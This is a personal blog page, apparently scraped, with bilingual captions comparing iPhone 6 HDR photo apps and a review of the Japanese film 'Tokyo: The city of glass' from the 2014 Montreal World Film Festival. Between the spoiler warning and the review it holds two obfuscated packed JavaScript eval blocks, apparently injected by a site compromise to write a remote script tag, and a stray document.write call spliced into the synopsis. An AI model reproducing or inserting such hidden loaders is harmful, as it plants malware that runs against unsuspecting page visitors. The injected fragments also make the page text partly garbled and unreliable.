Sky in the park (True HDR app) Untitled
Superbe couché de soleil sur le terrain de baseball
(iPhone 6, Camera app, 2014-10-09)
Beautiful sunset on the ballpark
L’iPhone 6 prends définitivement de meilleurs photos mais le HDR de son application Camera est un peu déficient. Par contre, TrueHDR est un peu excessif et les images sont légèrement embrouillées et saturées… Bon va falloir expérimenter encore un peu…


Couché de soleil sur l’étang & sur le champs
(iPhone 6, Camera360 app, 2014-10-11)
Sunset on the pond (Camera360 app) Sunset on the field (Camera360 app)
Couché de soleil sur l’étang
(iPhone 6, TrueHDR app v3.1, 2014-10-11)
Sunset on the pond (TrueHDR app v3.1)
Champs de lumière / Déambulation automnale
(iPhone 6, Camera360 app, 2014-10-11)
Field of light (Camera360 app) Walking in Fall
Ciel de freak & Pâte de gazoil
(iPhone 6, TrueHDR app 2014-10-05 / Camera app, 2014-10-11)
Ciel de freak Pâte de gazoil
L’application Camera360 fait un excellent travail mais, avec sa nouvelle version (3.1), TrueHDR s’est aussi beaucoup amélioré. L’application Camera d’Apple n’est vraiment pas très performante (l’HDR n’est pas très efficace, les photos sont souvent sombre et manquent de contraste) et n’est pratique que pcq facilement à la porté de la main (accessible à partir du Locked Screen). On essayera d’autres apps plus tard.

Tokyo – The city of glass

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebbir|var|u0026u|referrer|badyn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdda|var|u0026u|referrer|ynrzf||js|php’.split(‘|’),0,{}))

A powerful tale of madness in Tokyo that explores the nature of sex and love!

“Toru, document.write(“”); a graduate student who runs a bar in Shinjuku Ni-chome, Tokyo’s gay district, meets Yong, a Korean man, and he falls in love. This seemingly ordinary event is somehow linked to a 20-year-old homicide case, and Confession of a Mask by Yukio Mishima is the key connecting them. Toru’s life takes an expected turn when a detective begins investigating two people whom Toru knows, Haruko Agaki, his old university professor, and Yusuke Honma, the lover ofthe victim in the 20-year-old murder. There are skeletons in someone’s closet.”

(Text from the Festival’s program)


This movie is quite interesting because movies rarely talks about the Japanese gay scene — unless they want to make a parody of it. Unfortunately, the storytelling is VERY confusing. There are lots of flashbacks and, for a while, it looks like there is two parallel stories, but they finally meet — very clumsily — in the end. However you eventually get what the story is about. It’s a movie about love, dream, hope, and obsessive narcissism.

Also there is a lot of shonen love in this movie. Way too much or at least more than it is necessary to convey what the movie is about (and many people left the theatre at the first graphic and realistic gay sex scene; Those can be a real turn off for most prudish viewers and, lets be frank here, there are lots of those).

Despite these caveat this is nevertheless a good and enjoyable movie if you are interested in Japanese popular and underground culture.

You can also find an interesting video on Youtube showing the red carpet entrance & presentation of the production team, as well as interviews (all in Japanese unfortunately).
Tokyo: The city of glass (???????????? / Tôkyô: Koko wa Glass no Machi): Japan, 2014, 110 min.; Dir.: Kazuhiro Teranishi; Scr.: Oroba Irie & Kazuhiro Teranishi; Phot.: Shigeru Iwamatsu; Ed.: Kumiko Arai; Mus.: Naoto Okabe; Cast: Atsushi Kimura, JK, Tomoko Nakajima, Maroka Uchiyama, Ginzi Yoshikawa, Reiko Tajima. Film screened at the Montreal World Film Festival on August 22nd, 2014 (Cinema Quartier Latin 15, 19h00 – the theatre was half full but there was less people at the end) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Tokyo: The city of glass © 2013 Tokyo movie.

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